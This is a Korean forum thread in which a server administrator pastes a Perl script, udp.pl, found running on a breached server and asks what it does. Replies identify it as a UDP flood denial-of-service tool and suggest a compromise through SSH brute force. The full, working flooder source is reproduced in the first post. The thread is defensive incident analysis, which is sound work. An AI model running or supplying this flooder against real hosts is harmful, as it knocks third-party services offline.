[완료] 펄 스크립터 분석 부탁 드립니다.

hieehee의 이미지

운영하는 서버에 엄청난 트래픽이 발생하여 살펴 보았더니 아래 내용의 스크립터가
돌아가고 있었습니다.

일단 실행중인 스크립터를 죽이고 외부 접속을 차단 해 놓았으나 그래도 찜찜하네요.
아래 스크립터가 무엇을 하게 되어 있는지 분석 부탁 드립니다.

파일이름:udp.pl
#!/usr/bin/perl

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {

printf "$0 \n";

printf "for any info vizit http://hacking.3xforum.ro/ \n";

exit(1);

}

my ($ip,$port,$size,$time);

$ip=$ARGV[0];

$port=$ARGV[1];

$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);

$iaddr = inet_aton("$ip");

printf "Amu Floodez $ip pe portu $port \n";

printf "daca nu pica in 10 min dai pe alt port \n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {

goto randpackets;

}

if ($ARGV[1] !=0 && $ARGV[2] !=0) {

system("(sleep $time;killall -9 udp) &");

goto packets;

}

if ($ARGV[1] !=0 && $ARGV[2] ==0) {

goto packets;

}

if ($ARGV[1] ==0 && $ARGV[2] !=0) {

system("(sleep $time;killall -9 udp) &");

goto randpackets;

}

packets:

for (;;) {

$size=$rand x $rand x $rand;

send(crazy, 0, $size, sockaddr_in($port, $iaddr));

}

randpackets:

for (;;) {

$size=$rand x $rand x $rand;

$port=int(rand 65000) +1;

send(crazy, 0, $size, sockaddr_in($port, $iaddr));

}

미리 감사드립니다.
^^

ymir의 이미지

ip, port, time 을 입력으로 받아서, 주어진 시간 이후에 해당 ip, port 로 udp flooding 을 하는 코드인것 같네요.
직접 실행시킨게 아니라면, 해당 서버가 침해 당했을 가능성이 높습니다.

되면 한다! / feel no sorrow, feel no pain, feel no hurt, there's nothing gained.. only love will then remain.. 『 Mizz 』

되면 한다! / feel no sorrow, feel no pain, feel no hurt, there's nothing gained.. only love will then remain.. 『 Mizz 』

hieehee의 이미지

스크립터상의 사용자 권한이 아파치로 되어 있어서 root는 괜찬은 걸로 보이기는 하는데...
서버를 좀더 확인해 보아야 겠네요.
감사합니다.

aqua의 이미지

ssh brute force attack 공격으로 일반 계정이 뚫리면(사전 대입식으로 암호를 알아 내면)
위의 유형의 스크립트를 많이 돌리더군요.

공격자가 지정한 대역대로 포트 스캔 또는 udp flood를 보내는 경우가 있었습니다.
(딱 한번 경험 해봤네요.., 그때 저장한 스크립트 소스도 위와 비슷하네요 ㅋ)

======
깔깔깔
======

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.